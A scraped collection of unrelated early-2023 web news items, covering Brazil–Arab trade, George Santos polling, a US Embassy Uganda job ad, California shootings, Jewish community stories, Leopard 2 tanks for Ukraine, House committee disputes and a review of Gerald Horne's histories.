Osmar Chohfi, President of the ABCC said: The positive trade figures reflect the robust as well as the growing trade relations between Brazil and Arab nations. Despite numerous unprecedented challenges posed by the pandemic, Brazil and the Arab nations were able to swiftly gain momentum in increasing their exports and bolster their trade. Over the upcoming months, we foresee a persistently high regional demand for Brazilian food products. Brazilian exports witnessed a substantial growth previous year, demonstrating their resiliency and capacity to flourish even amid difficult global market conditions.

He added: As always, ABCC will strive to facilitate trade activities and identify new prospects in the economic relation between Brazil and the Arab world. The export and import activities between the countries have experienced continuous expansion, and we anticipate this trend to continue in the coming years as well. As Brazil's influence grows in the region and on other international markets, we anticipate strengthened ties and more positive outcomes in trade in the upcoming years.-- TradeArabia News Service
Earlier this month, Congress imposter George Santos said, "When 142 people ask me to resign, I'll resign." And, although he later clarified his statement, saying, "I was elected by 142,000 people, and until those same 142,000 people tell me they don't want me  we'll find out in two years," it looks like the people have spoken, at least according to a new poll of 800 New Yorkers: the majority wants him out.

In the first large poll on how New Yorker's feel about serial liar Rep. George Anthony Devolder  Santos, most want him to resign. When you include registered voters from all parties, the survey  conducted by the Siena College Research Institute  found 59% of New Yorkers want the Congressman to step down, with only 20% thinking he should stay (and 25% unsure).

Even 49% of Republicans want him to resign, with only 26% preferring he remain in office (and 25% unsure).

From Politico:

His favorability rating was roughly the same, though suburban residents  who make up the heart of the congressman's Long Island district  took a particular disliking to Santos. More than three quarters of them registered their disapproval of the newly elected representative, while only 8 percent took a positive view. The survey of over 800 registered voters was conducted between Jan. 15-19 and has a margin of error of 4.3 percent. The poll is the first large survey on New York voters' attitudes about Santos, who has refused to step down since a bombshell report in The New York Times in December revealed he had fabricated most of his resume, including his professional background and college education.  As more allegations have mounted, some of which he has admitted were exaggerated, Santos has drawn widespread condemnation from within his own party, including Republican officials in Nassau County, who pledged to cut off local support to their colleague in the House. But House Speaker Kevin McCarthy has largely ignored calls for his resignation because he needs to maintain his slim majority in the chamber.

But, majority or not, the MAGA-controlled House needs Santos (or whatever his name is) for his vote, so to hell with what the people want.
Job Title: Asset Management Clerk (Fresher US Embassy Jobs)

Organisation: United States US Embassy, US Mission in Uganda

Duty Station: Kampala, Uganda

Position Number: Kampala-2023-002

About US Embassy:

The United States Embassy in Kampala, Uganda has enjoyed diplomatic relations with Uganda for over 30 years. Ambassador Natalie E. Brown currently heads the U.S Mission to Uganda. The Mission is composed of several offices and organizations all working under the auspices of the Embassy and at the direction of the Ambassador.

Among the offices operating under the U.S Mission to Uganda are:

United States Agency for International Development (USAID)

Centers for Disease Control (CDC)

Peace Corps

Job Summary: Under the direct supervision of the Customer Service Supervisor, the incumbent maintains inventory control of stored, procured and issued Information Technology assets under International Cooperative Administrative Support Services (ICASS), Program and non-State offices. He/she coordinates repairs of equipment as needed. He/she conducts the yearly inventory of all IT assets located at the Embassy compound, the General Services Office, Warehouse, Ambassador and Deputy Chief of Mission residences. He/she assists the Information Systems Center (ISC) and Customer Service Center during busy periods by helping to run basic updates on machines and helping to move equipment when necessary.









Qualifications, Skills and Experience:

NOTE: All applicants must address each selection criterion detailed below with specific and comprehensive information supporting each item.

The applicants for the United States US Embassy Asset Management Clerk job should have completed Secondary School or Local Mandatory Schooling and received high school diploma

At least one year of administrative experience is required.

Position must have good knowledge of the structure of the Mission, IRM, and key players.

The position requires working knowledge of the Embassys unclassified systems in order to identify and track IT equipment.

Must understand the workings of ILMS and the steps to take when discrepancies arise.

Must be accurate and thorough in identifying and recording United States Government property in the storerooms and workspaces throughout the Mission.

Must be able to learn the types and models of equipment used at post and identify them by sight.

Must have excellent computer skills, knowledge of Windows Operating Systems, internet browsers, proficient in Microsoft Office (Word and Excel) and able to use hand-held scanners to inventory systems.

Must be tactful with customers but be able to present a firm stand when necessary  missing property investigations for example.

Communicate effectively with all members of staff working in the Embassy.

Must be able to work independently with little supervision and be able to reason through complicated problems with minimal assistance.

Must be able to lift 30 pounds and mobile enough to work under desks and in tight areas.

Language: Level III (Good Working Knowledge) speaking/reading/writing English is required. This may be tested

How to Apply:

All those interested in working with the United States Embassy, US Mission in Kampala should send their applications online at the link below.

Click Here

Deadline: 27th January 2023

For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline
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ABC News reports that Charles McGonigal, a former FBI agent in a senior counterintelligence role, was arrested over suspicions he helped a Russian billionaire violate sanctions.

He was arrested Saturday afternoon after he arrived at JFK Airport following travel in Sri Lanka, the sources said.  McGonigal, 54, is charged with violating U.S. sanctions by trying to get Deripaska off the sanctions list. McGonigal is one of the highest ranking former FBI officials ever charged with a crime. McGonigal and Shestakov, who worked for the FBI investigating oligarchs, allegedly agreed in 2021 to investigate a rival Russian oligarch in return for payments from Deripaska, according to the Justice Department. McGonigal and Shestakov are accused of receiving payments through shell companies and forging signatures in order to keep it a secret that Deripaska was paying them.

And there's more!




Seven people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and a suspect was in custody, officials said.

San Mateo County Board of Supervisors President Dave Pine says four people were killed at the farm and three at the trucking business on the outskirts of Half Moon Bay, a city about 30 miles (48 kilometers) south of San Francisco.

The police have arrested 67-year-old Chunli Zhao in connection with the shooting, Pine said.

Pine said the suspect worked for one of the businesses. He called the suspect a disgruntled worker.

The shooting was the nations sixth mass shooting this year  and followed the killing of 11 people late Saturday at a ballroom dance hall in Southern California.

The San Mateo County Sheriffs Office first received reports of a shooting just before 2:30 p.m. and found four people dead from gunshot wounds and a fifth injured person at the first scene. Shortly thereafter, officers found three more people dead from gunshot wounds at a second location about five miles (8 kilometers) away, Capt. Eamonn Allen said in a news release.

About two hours after first responding, a sheriffs deputy found the suspect, Zhao, in his car at a sheriffs station in Half Moon Bay. He was taken into custody and a weapon was found in his vehicle. The sheriffs department believes he acted alone, Allen said.

The office did not share any information about the connection between the two locations.

The motive for the shooting is not known, Allen said.

Were still trying to understand exactly what happened and why, but its just incredibly, incredibly tragic, said state Sen. Josh Becker, who represents the area and called it a very close-knit agricultural community.

Aerial television images showed police officers collecting evidence from a farm with dozens of greenhouses.

Half Moon Bay is a small coastal city with agricultural roots now home to about 12,000 people. The city and surrounding San Mateo County area is known for producing flowers as well as vegetables like brussell sprouts. The county allows cannabis farming in certain areas.

Its a majority white community and about 5% of the population is Asian, according to Census data.

We are sickened by todays tragedy in Half Moon Bay, Pine said. We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.

California Gov. Gavin Newsom tweeted that he was at the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy.

(AP)




Knowing all too well the difficulties of finding furnished short term rentals in Flatbush, a group of realtors have banded together to set up chesed apartments in the heart of the Jewish community, providing lodging and all the comforts of home to those coming to the New York City area for medical treatment.

Habayit  Home Away From Home evolved just over a year ago when realtors Eva Shammah and Elliot Shelby decided to take on a special project together. Recalling the many requests that they had been unable to fill from out of towners who needed a temporary apartment while they received medical care in New York, they realized that there was an unmet need in the community, one that they wanted to address.

I would get those calls all the time, Shammah told Yeshiva World News. I would try to drop everything to help them  it could be a kid who needs surgery, a couple undergoing fertility treatments or someone needing a heart transplant. Even if I could find a landlord who would rent to them for a month, what about beds and a couch? And even if I could find a furnished apartment, what about sheets and towels and sefarim?

The two reached out to fellow realtors Natalie Ammar Shalom, Regine Shrem and Lillian Srour, and, together, the group rented their first apartment. Community members who heard about their plans jumped on board, donating furniture, beds, mattresses, pots, pans, dishes, linens, toys, sefarim, books and more as they renovated the apartment from top to bottom. By the time their first family arrived last winter Habayit had the apartment fully stocked with food and a list of nearby kosher restaurants posted on the refrigerator.

While Habayits apartment was a welcome addition to the landscape of Flatbushs Jewish community, it became immediately apparent that there were countless other people in need of similar arrangements. Additional apartments were rented and renovated and the project snowballed with donations of all kinds pouring in from members of Flatbushs Sephardic community who wanted to share in this unique mitzvah. Habayit has more than 400 volunteers who pitch in in a variety of ways, whether it is cooking for a family, driving them to appointments, inviting them for Shabbos meals or dropping off gift baskets of goodies. Local schoolchildren have pitched in as well, making welcome signs, havdala packages and baking cookies for those using Habayits housing, while yeshiva boys have built furniture and taken on other jobs.

Currently Habayit has 13 apartments in Flatbush, most of which are rented, although some have been donated as well. An additional apartment near New York-Presbyterian Columbia University Medical Center in Manhattan is currently undergoing renovations and Habayit has hosted over 40 families from Israel, Mexico, Panama, Argentina, Boston, Florida and other locations over the past year. There is no charge for Habayits accommodations and all applications to Habayit are carefully vetted and must be accompanied by a referral from a reputable medical organization.

The feedback that Habayit has gotten from people who have utilized its apartments makes it clear that the need for its services is very real. A couple who came from Israel for fertility treatments and had stayed previously in a Boro Park basement said that they were stunned when they walked into their Habayit apartment.

It was like yetziat Mitzrayim for us, said the husband. We couldnt believe that this kind of chesed existed. Everything was extra  it was the best apartment, like your own house and you saw that they took care of every detail, asking us what else we needed what else they could do for us. It changed the face of our entire treatment and made it a positive experience for us.

A text from a Panamanian couple described how in addition to providing them with a place to stay, Habayit also made them feel like family, making sure that they had meals and transportation.

What a way to fulfill the Mitzva of Hachnasat Orjim, so special worthy offspring of Abraham Avinu, wrote the couple, who added that they operate a chesed organization of their own in Panama that specializes in welcoming guests. You dont know how much we learned from you to improve here. You have been our example!

Despite running 13 apartments, Habayit has waiting list for its accommodations and Shammah hopes to be able to continue growing the organizations list of properties.

Sometimes we have people who come for a week and sometimes they stay for months, said Shammah. We are a loving community and anytime anything is needed we have people running to help. With Hashems help we want to be able to expand because this is something so special.

For more information on Habayit, visit them online at www.habayit.org

(YWN World Headquarters  NYC)




One of the few people coming to President Joe Bidens defense in his classified documents scandal is, of all people, die-hard MAGA Republican Rep. Matt Gaetz, who suggested that the classified documents were planted to make Biden look bad.

Well, things in Washington arent always what they seem, Gaetz said on Fox News. Consider this. It was Joe Bidens Democrat personal lawyer that was rummaging around his stuff, looking for what? Evidence of a crime that his septuagenarian client committed nine years ago?

And then he alerts the democratic staff at the White House that does the absolute worst thing you could possibly do; they sat on the information. They should have diffused the matter and then inoculated themselves in the process, he continued.

Then the moment this is leaked to CBS, you have the Democrat Biden Department of Justice appoint a Special Counsel, and now the big tell is that even Joe Bidens strongest allies in the congress, like Senator Coons, are saying that they approve of the appointment of a special counsel to criminally investigate the president, Gaetz added.

Maybe the Deep State and a lot these Democrats have figured out that theyd rather roll with Gavin Newsom than Joe Biden, Gaetz said. The Republicans might not even have to help the Democrats take out their trash.

When it was later announced that White House Chief of Staff Ron Klain would be stepping down, Gaetz said it was evidence for his theory.

This is the key tell that what I said last week is likely true  the Deep State is taking out Biden, Gaetz wrote on Twitter.

(YWN World Headquarters  NYC)




By Rabbi Yair Hoffman for 5tjt.com

As of this writing, there are thousands of frum yidden in Miami, in Orlando, and in Boca Raton. Many of them are eating out in fleishig restaurants. There are over thirty kosher restaurants in Panama where frum people are eating and there is even the Ember restaurant in Cancun.

The Shochtimm however, are the unsung heroes of Klal Yisroel that make it happen. They work hard, all day, to ensure that the Jewish nation will not stumble. They ensure that the Jewish nation has sustenance. They ensure that we grow  and continue to strictly follow our yerushah  our heritage  our birthright of Sinai. And perhaps we do not appreciate what it is that they do.

They are the shochtim that ensure the top-quality kashrus of our meats, and of our chickens. They work hard and they leave their families  for us. Lets take a look. But before we do so, we should consider the following thoughts:

Lets recall the gas lines of Hurricane Sandy  when the supply did not meet the demand of gasoline. Lets recall the fate of ancestors and relatives in Poland. One of my Rebbeim, Rav Dovid Kviat ztl, told me that in his home town in Poland, Bar Mitzvah celebrations were devoid of food. Only the gvirim, the wealthy, could afford to give out kichel at their sons Bar Mitzvah.

THEY ENSURE THE MEAT SUPPLY

The Shochtim of Klal Yisroel ensure, on a regular basis, that there is enough of a meat supply  so that we can properly honor the Shabbos  so that we can properly honor the Yomim Tovim, and so that we can have a hot cholent at a kiddush.

They make sure that people enjoy the food at our chasunos, at our bar Mitzvah celebrations, and at our Yeshiva dinners. Many of them start their shift at 4:00 AM. That is correct  4:00 AM.

EMULATING HASHEM

The Gemorah in Shabbos (133b) tells us that we must emulate Hashem. Mah Hu Rachum, af attah Rachum. Just as He is merciful and kind, so too must you be merciful and kind. Rav Yitzchok Blahzer ztl explained that Rav Yisroel Salanter ztl would apply this admonition across the board. Hashem brought the Slav, the quail, to Klal Yisroel in the Midbar to feed a hungry nation.

The Shochtim do the same.

PERSONAL SACRIFICE

They do so at great personal sacrifice. They leave their wives, their children, their entire families  and travel hundreds of miles to the shlochthaus. Some live in a dormitory. Some live in off-factory housing. There they stay all week long  performing the same tedious and repetitious work.

Others commute daily  travelling hundreds of miles each day. They must all be very alert and careful. Every thirty days they re-study the Sefer entitled, Simla Chadasha written by Rav Alechsander Sender Schorr ztl (1673-1737). It is one of the only Seforim that has replaced the Shulchan Aruch as the most authoritative work on its subject matter  in both Ashkenazic and Chassidishe circles. It must be carefully reviewed because the Shulchan Aruch states (YD 23:1): Any shochet who does not know the laws of shechita  one may not eat of his slaughter.

They are also subjected to regular testing. The Simla Chadasha even goes so far as to write (1:17):

If he knows all the laws of proper slaughter  just in one law he errs and says that something is permitted when it is actually prohibited, it appears to me that, whether he received written authorization or not, we should prohibit his slaughter for a few days previously, in order to be stringent on biblical prohibitions.

HOLINESS

The posuk in VaYikrah (11:44) tells us, And you shall be holy  for I am Holy. Included in the idea of holiness is what is written next  To separate between the impure and the pure. Our sages received a tradition that this refers to kosher slaughter  that a person is obligated to separate and investigate greatly to ensure that the animal is being slaughtered properly.

There are many verses that discuss this concept, that it is forbidden to eat animal or fowl meat that was not slaughtered properly. It is not, however, clearly explicit in the Torah, what exactly constitutes a kosher and proper slaughter. The Talmud (Chullin 28a) fills in the gap for us. Rebbe says: And you shall slaughter as I have commanded you (Dvarim 12:21)  this teaches us that Moshe Rabbeinu was orally commanded in the laws of kosher slaughter.

NO DELAYS

During shechita itself  these dedicated and unsung heroes must carefully avoid something called a shehiya  even a slight pause  because this is one of the five conditions of shechita that was taught to the nation of Israel by Moshe Rabbeinu. [Shehiya, Drassah, Chalada, Hagrama, Ikkur  ibid].

They must take great care to both sharpen their knives and ensure that there is no defect in it. Many halachic authorities write that they must be fearful of the Rav or Rosh haShochtim  in order to ensure the kashrus. Imagine, being a restaurant owner, or the owner of a camp  with an unremitting health department inspector that is every day at your door. One mis-step  and it could be disastrous.

NO JOB SECURITY

For this reason as well  they do not have job security either. A shochet could be sent home if he has a bad day. If a shochet is chassidish (which most of them are) that means no staying up for a Mitzvah Tantz at your nieces wedding  if you have work the next day. But, this is all necessary  so that our meat supply remain pure and holy.

There are also grave spiritual risks as well. The Simlah Chadasha (1:7) cites three repercussions for a Shochet who messes up:

He shall be reincarnated as a dog (See Sefer HaGilgulim of the AriZal).

The sins of the masses are counted as his.

He is not given a chance from heaven to do Teshuvah  to repent.

THE BODKIM, THE MENAKRIM AND THE MASHGICHIM

And then there are the bodkim too  the examiners. They too are heroes. Each batch of chicken must be inspected nowadays  because of the proliferation of diseased tendons by the hock bone. At the front of the chicken the skin must be ripped open and the gathering of tendons  the tzomes hagiddin must be inspected.

If it is done at the top, the bodek examines all nine of the tendons  very tedious work. If lower down, he must examine all seven  because two disappear into the bone of the chicken. If the sample ones have problems then the entire batch must be examined. In Eretz Yisroel the issue is so prevalent that all chickens are examined.

Lets get to the meat bodkim. Did you every feel the inside of a cow lung? Or did you ever blow up a cow lung with air to ensure that there is no leakage? Both of these must be done for cows. It is Rabbinic law  not to rely on the majority of cows that do not have lung issues  because lung issues are prevalent.

The Mashgichim are also there very early in the morning  and they too are unsung. And then there are also the Menakrim  those that remove the veins and certain fats. They too are unsung.

LETS THINK ABOUT IT

They receive no regular thank you, they are not honored at dinners, they are away from home, under a very rigorous atmosphere, while we sit at home having comfortable delicious meals.

They have given up on many aspects of modern society. They do not check the news, because that would entail some sort of internet access  something that is justifiably questionable.

So the next time, we have that new pulled-beef recipe from second brisket layered with potatoes and onions, or our encroated Malawach dog, or that London Broil, or even our regular cholent, lets think about the unsung heroes that have made it possible for us. The next time we eat out at a fancy restaurant, lets put our thoughts to the self-sacrifice of these remarkable individuals.

The author can be reached at [email protected]




Family members of Prime Minister Binyamin Netanyahu who visited the kever of their father, historian Bentzion Netanyahu, zl, at Har Hamenuchot on Friday were shocked to discover a hate letter on the kever.

The letter, which contained inflammatory rhetoric against Netanyahu, stated, among other things: Your son seems demented and weak. In his weakness, he allows a group of racists, fascists, and serial criminals to drag the country into an isolated dictatorship in the worst-case scenario.

We will no longer be a free people in our country, the letter continued. History will judge accordingly..

Family members said they plan on filing a complaint with the police.

(YWN Israel Desk  Jerusalem)




Following intense pressure from its allies, Germany appears to be inching toward approving deliveries of high-tech Leopard 2 main battle tanks that Ukraine and its biggest Western backers hope will boost Kyivs fight against Russian invaders.

Over the weekend German Foreign Minister Annalena Baerbock said Berlin would not get in the way if Poland  arguably Ukraines most vocal supporter among European Union neighbors  wants to ship Leopard 2 tanks from its arsenal across the border into Ukraine. And Germany is now not ruling out supplying such tanks to Ukraine itself, cautioning however that the implications of such a step need to be carefully weighed.

Heres a look at what those tanks might mean for Ukraines defense against Russian forces  and hopes for driving them out.

WHAT IS THE LEOPARD 2?

Germanys Krauss-Maffei Wegmann, the manufacturer of the Leopard 2, touts it as the worlds leading battle tank that for over nearly a half-century has combined aspects of firepower, protection, speed and maneuverability, making it adaptable to many types of combat situations.

The 55-ton tank has a crew of four and a range of about 500 kilometers (310 miles), and top speeds of about 68 kilometers per hour (about 42 mph). Now with four main variants, its earliest version first came into service in 1979. Its main weapon is a 120mm smooth bore gun and it has a fully-digital fire-control system.

HOW MANY COULD BE SENT TO UKRAINE?

One big appeal of the German-made tanks are their sheer number: More than 2,000 have been deployed in over a dozen European countries and Canada. Overall, KMW says over 3,500 units have been supplied to 19 countries.

Rheinmetall AG, a German defense contractor that makes the 120mm smoothbore gun on the Leopard 2, says the tank has been deployed by more nations that any other.

According to a recent analysis by the International Institute for Strategic Studies, a London-based global think tank, some 350 Leopard 2s  in different versions  have been sent to Greece, and Poland has about 250 of varying types. Finland has 200 in operation or in storage.

For Ukraines war against Russia, It is believed that for the Leopard 2 tanks to have any significant effect on the fighting, around 100 tanks would be required, the IISS analysts wrote.

Ukraines defense minister wants 300 tanks, and some European Union leaders support him on that.

We need a fleet of 300 tanks, Luxembourgs Foreign Minister Jean Asselborn said Monday in Brussels, alluding to the wide deployment of Leopards across Europe, and the need for synchronous weaponry  that can operate smoothly together.

Getting Leopards into Ukrainian hands isnt as easy as rolling them across the border from friends farther West in Europe. IISS estimates that three to six weeks of training would be needed for operating crews and support staff to reach basic proficiency.

WHAT DIFFERENCE WOULD IT MAKE TO THE WAR?

Yohann Michel, a research analyst for defense and military affairs at IISS, said such tanks could allow Ukraine to go onto the offensive in the 11-month-old conflict that has been stalemated for months following two key Ukrainian counteroffensives that recaptured areas occupied by Russian forces for months in the northeast and south.

In this type of conflict, its just not possible to carry out large-scale offensives without the full variety of armored combat equipment and armored vehicles, and tanks are a part of that, he said by phone. In addition to Main Battle Tanks, or MBTs, like the Leopard II, others include infantry fighting vehicles and armored personnel carriers.

Western deliveries of Leopard 2s could help equip Ukraine with needed high-caliber munitions to replace its own Soviet-era stockpiles that have been dwindling  opening a new avenue for supplies of Western firepower to get to Ukraine.

In my view, thats the primary impact, Michel said by phone. The second impact, of course, is to increase the number of tanks available in the Ukrainian arsenal, which he estimated at several hundred right now.

WHY DOESNT UKRAINE HAVE LEOPARDS ALREADY?

Germany has final say about whether Leopard 2s can be delivered  even from other countries arsenals  and has been reticent about anyone shipping them to Ukraine.

More-hawkish Western allies have been stepping up the pressure on Germany, but the United States has also refused to send its powerful M1 Abrams tanks.

The United States announced an upcoming new package of military aid that is expected to include nearly 100 Stryker combat vehicles and at least 50 Bradley armored vehicles  but not the Abrams, which U.S. officials say has complex maintenance needs and may not be the best fit.

Allies and military analysts say the Leopard 2 is diesel-powered  not driven by jet fuel that powers the M1 Abrams  and is easier to operate than the big U.S. tanks, and thus has shorter training times.

Britain this month announced it will send Challenger 2 tanks to Ukraine, and the Czech Republic and Poland have provided Soviet-era T-72 tanks to Ukrainian forces. French President Emmanuel Macron said Sunday that he had asked his defense minister to work on the idea of sending some of Frances Leclerc battle tanks to Ukraine.

(AP)




Democrats are picking an early fight with the House Republican majority over committee seats, nominating two California lawmakers for the Intelligence Committee in open defiance of House Speaker Kevin McCarthys vow to block them.

Minority Leader Hakeem Jeffries, in a letter sent to McCarthy over the weekend, asked that Reps. Adam Schiff and Eric Swalwell be reappointed to the House Permanent Select Committee on Intelligence, a prestigious panel with access to sensitive, classified information. There is no precedent or justification for rejecting them, Jeffries said.

The letter amounts to an early test for McCarthy as he settles into the speakership, with the Republican rank-and-file looking to the Californian to follow through on his public pronouncements. McCarthy has warned that Republicans in the majority could extract a measure of revenge against Democrats for stripping Reps. Marjorie Taylor Greene of Georgia and Paul Gosar of Arizona from their committee assignments in the last Congress.

Democrats said they were justified in removing Greene and Gosar from committees because of incendiary commentary, including on social media, they they said incited potential violence against colleagues. McCarthy adamantly opposed both actions and described them as partisan power grabs.

The speakers office did not immediately respond to a request for comment about Jeffries letter.

Both Schiff and Swalwell are veterans of the Intelligence panel. Schiff was the committees chairman for four years and served as the lead impeachment manager for then-President Donald Trumps first Senate trial, in which Trump was acquitted over charges related to his pressure on Ukraines leader to investigate Democratic rival Joe Biden. McCarthy recently said that Schiff put America for four years through an impeachment that he knew was a lie.

McCarthy tried to have Swalwell removed from the Intelligence panel in March 2021 based on his contact with a suspected Chinese spy. His resolution against Swalwell, which was voted down in the Democratic-led House, cited information that the suspected spy, Christine Fang, came into contact with Swalwells campaign as he was first running for Congress in 2012 and participated in fundraising for his 2014 campaign.

Federal investigators alerted Swalwell to their concerns and briefed Congress about Fang in 2015, at which point Swalwell says he cut off contact with her.

McCarthy has said that if you got the briefing I got from the FBI, you wouldnt have Swalwell on any committee.

But Schiff told colleagues back in 2021 that Republican leaders, including then-House Speaker John Boehner and the then-chairman of the intelligence panel, Republican Rep. Devin Nunes, were briefed on the situation with Swalwell at the time and expressed no opposition to his continued service on the Intelligence committee.

Jeffries denied that the actions against Greene and Gosar set a precedent, emphasizing in his letter to McCarthy that some Republicans joined with Democrats in stripping them of their committee seats. In Greenes case, it was 11 Republicans. In Gosars case, two.

This action was taken by both Democrats and Republicans given the seriousness of the conduct involved, particularly in the aftermath of the violent insurrection and attack on the Capitol, Jeffries said in the letter. It does not serve as precedent or justification for the removal of Representatives Schiff and Swalwell, given that they have never exhibited violent thoughts or behavior.

He noted that Republicans have placed freshman Rep. George Santos, R-.N.Y., on two committees, despite his rampant lies to voters about his background and credentials.

The apparent double standard risks undermining the spirit of bipartisan cooperation that is so desperately needed in Congress, Jeffries said.

Appointments to the Intelligence panel, and other select committees, are the prerogative of the speaker, in consultation with the minority leader.

Swalwell asked Jeffries to name him to the panel, citing his experience as a county prosecutor. He said in a January 5th letter to Jeffries it is not for the speaker to remove members from committees based on fabricated stories or political revenge.

Schiff issued a similar letter, stating there is no basis for his threatened retaliation other than placating the most extreme members of his party.

Jeffries letter over the weekend did not mention another lawmaker McCarthy has threatened to have removed from her committee, Rep. Ilhan Omar, of Minnesota. A Democratic policy panel meets this week and is expected to seat Omar on the House Foreign Affairs Committee. Removing her from the panel would require a majority vote in the House.

Omar has at times clashed with fellow Democrats over Middle East policy. Two months after she arrived in Congress in 2019, the House approved a resolution condemning anti-Semitism and other forms of bigotry  without mentioning her by name  after she made remarks that critics said accused Israel supporters of having dual allegiances.

Two years later, Omar tweeted an exchange with Secretary of State Antony Blinken in a video conference in which she called for justice for all victims of crimes against humanity.

In remarks that drew the most attention, she said, We have seen unthinkable atrocities committed by the U.S., Hamas, Israel, Afghanistan, and the Taliban. I asked @SecBlinken where people are supposed to go for justice.

She would say later her remarks were in no way equating terrorist organizations with democratic countries.

Omar in her letter said that she would be honored to continue serving on the Foreign Affairs panel, where she could offer a unique perspective as a Somali-American, a refugee and the only Africa-born member of Congress.

(AP)




UTJ MKs Moshe Gafni, Yitzchak Pindrus and Yaakov Asher on Monday night submitted a bill related to religion, causing a furor among opposition MKs, who immediately began complaining about religious coercion.

The bill that caused an uproar was on the very issue that brought down the Bennett-Lapid government, the entry of chometz into hospitals on Shabbos.

The bill states: Chag HaPesach, known by its Biblical name Chag HaMatzos, is the chag that symbolizes the birth of the Jewish people during which they emerged from slavery to freedom. According to surveys and studies carried out in Israel, Chag HaPesach is considered the most important of Israels chagim among all sectors of the population, with the vast majority of the Jewish people celebrating Chag HaPesach and observing the prohibition of eating chometz on Pesach  religious, traditional and secular.

Contrary to dinei kashrus throughout the year, the prohibition of eating chometz on Chag HaPesach is extremely strict and the dinei kashrus on Pesach are also extremely strict  as chometz on Pesach is not battul bshishim  so chometz eaten in a kli even in a very small amount  may result in the keilim becoming non-kosher in a way that prevents shomrei kashrus from eating from these keilim. In addition, there is a special prohibition on Pesach of it shouldnt be seen or found.'

In the bill, Gafni mentions the Supreme Court ruling at the end of April 2020 contrary to the status quo that prevailed for decades, which ruled that hospitals lack the legal authority to ban the entry of chometz, and notes that this ruling may result in the majority of Israeli citizens not being able to receive medical treatment during Pesach.

It is proposed to establish a ban on the possession or entry of chometz on Pesach in hospitals, the bill reads, This provision will not apply to hospitals in the non-Jewish sector that do not hold a teudas kashrus all year round.

The first to comment on the bill was opposition leader Yair Lapid who said that this government has decided that it will do everything to cause an irreparable rift in Israeli society and turn Judaism into religious coercion.

(YWN Israel Desk  Jerusalem)




A shootout at an Oakland gas station killed one person and wounded seven others in the second shooting involving several people on Monday night in the San Francisco Bay Area, police said.

Officers were sent to the scene on Macarthur Boulevard just after 6 p.m. and learned there had been a shooting between several people, a police statement said.

The officers found shell casings at the Valero gas station but no victims. However, dispatchers learned several victims had taken themselves to local hospitals for treatment of gunshot wounds.

One person died at a hospital and the others were listed in stable condition, police said.

No arrests were made and other details were not immediately released.

At least 19 shots were fired, according to a photo of the shell casings that appeared in the East Bay Times.

The shootout took place only a few hours after a gunman killed seven people at two locations on the outskirts of Half Moon Bay. Officers arrested a suspect, 67-year-old Chunli Zhao, after they found him in his car in the parking lot of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

Half Moon Bay is 24 miles (38 kilometers) southwest of Oakland and about 30 miles (48 kilometers) south of San Francisco.

(AP)
If you went to primary or secondary school in the US or watched any mainstream movie that discusses the past, you learned the white-washed patriotic uplifting (for some) story of people persecuted for their belief in a particularly oriented Christian God and their desire for liberty, freedom, and capitalism. To a certain extent, that narrative does have limited purchase  there was a desire for independence, freedom, and capitalism. Yet, that desire was predicated on claiming, occupying, and usurping land, enslaving kidnapped indigenous people from Africa, and then enforcing a coerced sexual labor of forced reproduction.

What were the experiences of the American revolutionary period before 1776, through the signing of the Declaration of Independence, and after the 1787 adoption of the Constitution, for Indigenous peoples on the continent, and Indigenous peoples kidnapped people from different tribes on the African continent?

This story of an ever-evolving, progressive, and enlightened nation bringing civilization to the "brutes" of the world continued through the 19th century and the US invasion of Mexico, known in the US as the US-Mexico War.

If we refuse to reproduce the myth of USian victimhood and take at face value that the Founding Fathers and their offspring were slave-owners, killed Indigenous people, and treated women as non-citizens, all the while claiming a devout Christian identity, then perhaps a more accurate rendering of pasts events, and the impacts these telling have on the present can be engaged with on more profound terms. This is the context of the book bannings and censorship of historical curriculums across the US.

These are some of the themes of The Counter-Revolution of 1776: Slave Resistance and the Origins of the United States of America by historian Gerald Horne.

"The successful 1776 revolt against British rule in North America has been hailed almost universally as a great step forward for humanity. But the Africans then living in the colonies overwhelmingly sided with the British. In this trailblazing book, Gerald Horne shows that in the prelude to 1776, the abolition of slavery seemed all but inevitable in London, delighting Africans as much as it outraged slaveholders, and sparking the colonial revolt.



Prior to 1776, anti-slavery sentiments were deepening throughout Britain and in the Caribbean, rebellious Africans were in revolt. For European colonists in America, the major threat to their security was a foreign invasion combined with an insurrection of the enslaved. It was a real and threatening possibility that London would impose abolition throughout the coloniesa possibility the founding fathers feared would bring slave rebellions to their shores. To forestall it, they went to war.



The so-called Revolutionary War, Horne writes, was in part a counter-revolution, a conservative movement that the founding fathers fought in order to preserve their right to enslave others. The Counter-Revolution of 1776 brings us to a radical new understanding of the traditional heroic creation myth of the United States."

As David Waldstreicher wrote in an essay for theBoston Review, "The real revolutionaries, in other words, were the enslaved; the vaunted American Revolution was nothing lessor, nothing morethan a counter-revolution against the strivings of the truly oppressed of America and their budding alliance with the metropole. We don't have to wait for C. L. R. James's "Black Jacobins"the focus of his 1938 study of the Haitian revolutionto find enslaved rebels rocking the new world. This was a stunning about-face from the conventional wisdom, and in some respects it was overstated."

In a follow-up tome published in 2019 that extends the argument Horne made in The Counter-Revolution of 1776 through the 19th, 20th, and 21st Centuries.

In The Counter-Revolution of 1836: Texas Slavery & Jim Crow and the Roots of U. S. Fascism, Horne reveals in detail that "When Mexico moved to abolish slavery, Texas seceded in 1836  in a replay of 1776  in order to perpetuate the enslavement of Africans. Until 1845 Texas was an independent nation and moved to challenge the U.S. for leadership in the odious commerce of the African Slave Trade: Texas also competed vigorously with the U.S. in the dirty business of denuding Mexico by snatching California in the race to the Pacific and domination of the vaunted China market.

But Texas could not withstand pressure from abolitionist Mexico and revolutionary Haiti and joined the U.S. as a state  under questionable legal procedures  in 1845. Thereafter Texas' enslaved population increased exponentially along with land grabs targeting Comanches, Caddo, and Kiowa  and other Indigenous nations  leading to staggeringly violent bloodshed."

Gerald Horne is the Moores Professor of History at the University of Houston and has written more than 40 books. His two latest books are The Apocalypse of Settler Colonialism and The Dawning of the Apocalypse.

The Boston Review essay linked above is a good source for biographical background and intellectual genealogy, including the controversy over Horne's work in relation to Nicole Hannah-Jones and the New York Times's 1619 Project.




